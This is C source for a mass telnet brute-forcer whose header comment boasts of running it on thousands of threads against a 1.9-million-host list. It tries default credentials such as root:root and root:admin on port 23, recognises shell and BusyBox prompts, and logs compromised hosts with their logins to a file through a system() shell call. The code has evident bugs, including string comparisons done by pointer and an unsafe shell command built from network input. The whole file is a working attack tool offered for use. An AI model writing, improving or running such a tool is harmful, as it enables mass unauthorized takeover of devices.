/*
Simple Telnet Bruter That Runs Quick And Smooth As Fuck On 10-15k Threads On A 1.9 Mil List.
To Compile Simply chmod 777 tbrute.c Then Run:
gcc tbrute.c -o tbrute -pthread
*/
#include <stdio.h>
#include <stdlib.h>
#include <stdarg.h>
#include <string.h>
#include <fcntl.h>
#include <errno.h>
#include <sys/socket.h>
#include <sys/time.h>
#include <sys/types.h>
#include <ctype.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#include <net/if.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
int Timeout;
int port = 23; // Change This Port To Brute Something Different Such As SSH
int statement;
char buf[1024];
char combo[60];
char *combos[] = {"root:root", "default:", "root:default", "root:admin", "bin:"}; // Add All The Combo's You Wish, But The More Combos The Slower The Brute.
#define combo_size (sizeof(combos) / sizeof(unsigned char *))
#define SUCCESS "(\x1b[32m%s\x1b[37m:\x1b[32m%d\x1b[37m)"
#define FAILED "(\x1b[31m%s\x1b[37m:\x1b[31m%d\x1b[37m)"
#define INFO "(\x1b[33m%s\x1b[37m:\x1b[33m%d\x1b[37m)"
void Trim(char *str)
{
int i;
int begin = 0;
int end = strlen(str) - 1;
while (isspace(str[begin])) begin++;
while ((end >= begin) && isspace(str[end])) end--;
for (i = begin; i <= end; i++) str[i - begin] = str[i];
str[i - begin] = '\0';
}
void brute(char *target)
{
int Read;
int c = 0;
int Socket;
char cmd[70];
statement = 0;
char buffer[1024];
struct sockaddr_in sock;
struct timeval timeout;
char *username;
char password[40];
char username2[25];
char password2[44];
s:
switch(statement)
{
case 0:
{
if(c > combo_size)
goto end;
timeout.tv_sec = Timeout;
timeout.tv_usec = 0;
if(!(Socket = socket(AF_INET, SOCK_STREAM, 0)))
return;
setsockopt(Socket, SOL_SOCKET, SO_RCVTIMEO, (char *)&timeout, sizeof(timeout));
setsockopt(Socket, SOL_SOCKET, SO_SNDTIMEO, (char *)&timeout, sizeof(timeout));
sock.sin_family = AF_INET;
sock.sin_port = htons(port);
sock.sin_addr.s_addr = inet_addr(target);
if(connect(Socket, (struct sockaddr *)&sock, sizeof(sock)) == -1)
{
statement = 0;
goto end;
}
//else
//printf(SUCCESS" Connected!\n", target, port);
statement += 1;
goto s;
}
break;
case 1:
{
snprintf(combo, sizeof(combo), "%s", combos[c]);
if(combo == NULL || combo == " " || combo == "(null)")
goto end;
username = strtok(combo, ":");
snprintf(password, sizeof(password), "%s", username+strlen(username)+1);
snprintf(username2, sizeof(username2), "%s\r\n", username);
snprintf(password2, sizeof(password2), "%s\r\n", password);
//printf(INFO" Trying Combo -> %s:%s\n", target, port, username, password);
while(Read = read(Socket, buffer, 1024))
{
buffer[Read] = '\0';
if(strstr(buffer, "ogin"))
{
//printf(SUCCESS" Found Login Prompt!\n", target, port);
goto send_user;
}
}
send_user:
if(send(Socket, username2, strlen(username2), 0))
{
//printf(SUCCESS" Sent username %s!\n", target, port, username);
while(Read = read(Socket, buffer, 1024))
{
buffer[Read] = '\0';
if(strstr(buffer, "ailed") || strstr(buffer, "ncorrect") || strstr(buffer, "rong"))
{
//printf(FAILED" Incorrect username...\n", target, port);
c += 1;
close(Socket);
statement = 0;
goto s;
}
else if(strstr(buffer, "@") || strstr(buffer, "#") || strstr(buffer, "$") || strstr(buffer, "%") || strstr(buffer, "elcome") || strstr(buffer, "usybox") || strstr(buffer, "usyBox") || strstr(buffer, ">") || strstr(buffer, "ONT"))
{
printf(SUCCESS" Successful Login With No Password -> %s\n", target, port, username);
snprintf(cmd, sizeof(cmd), "echo '%s:%d %s:%s' >> active_telnet", target, port, username, password); // too lazy to write to file
system(cmd);
goto end;
}
else if(strstr(buffer, "assword"))
{
//printf(SUCCESS" Found Password Prompt!\n", target, port);
goto send_pw;
}
}
send_pw:
if(send(Socket, password2, strlen(password2), 0))
{
//printf(SUCCESS" Sent Password %s!\n", target, port, password);
while(Read = read(Socket, buffer, 1024))
{
buffer[Read] = '\0';
if(strstr(buffer, "ailed") || strstr(buffer, "ncorrect") || strstr(buffer, "rong"))
{
//printf(FAILED" Incorrect Credentials...\n", target, port);
c += 1;
close(Socket);
statement = 0;
goto s;
}
else if(strstr(buffer, "@") || strstr(buffer, "#") || strstr(buffer, "$") || strstr(buffer, "%") || strstr(buffer, "elcome") || strstr(buffer, "usybox") || strstr(buffer, "usyBox") || strstr(buffer, ">") || strstr(buffer, "ONT"))
{
printf(SUCCESS" Successful Login -> %s:%s\n", target, port, username, password);
snprintf(cmd, sizeof(cmd), "echo '%s:%d %s:%s' >> active_telnet", target, port, username, password); // too lazy to write to file
system(cmd);
goto end;
}
}
}
}
}
break;
}
end:
c = 0;
statement = 0;
close(Socket);
return;
}
int main(int argc, char **argv)
{
if(argc < 3 || argc > 3)
{
printf("[\x1b[31m-\x1b[37m] Usage: %s <timeout> <list>\n", argv[0]);
exit(0);
}
Timeout = atoi(argv[1]);
FILE *vuln_list = fopen(argv[2], "r");
if(vuln_list == NULL)
{
printf("[\x1b[31m-\x1b[37m] Failed to open given list (\x1b[33m%s\x1b[37m)\n", argv[2]);
exit(0);
}
while(fgets(buf, sizeof(buf) - 1, vuln_list))
{
if(strlen(buf) < 3 || buf == NULL)
break;
Trim(buf);
if(!(fork()))
{
brute(buf);
exit(0);
}
}
return;
}
Comments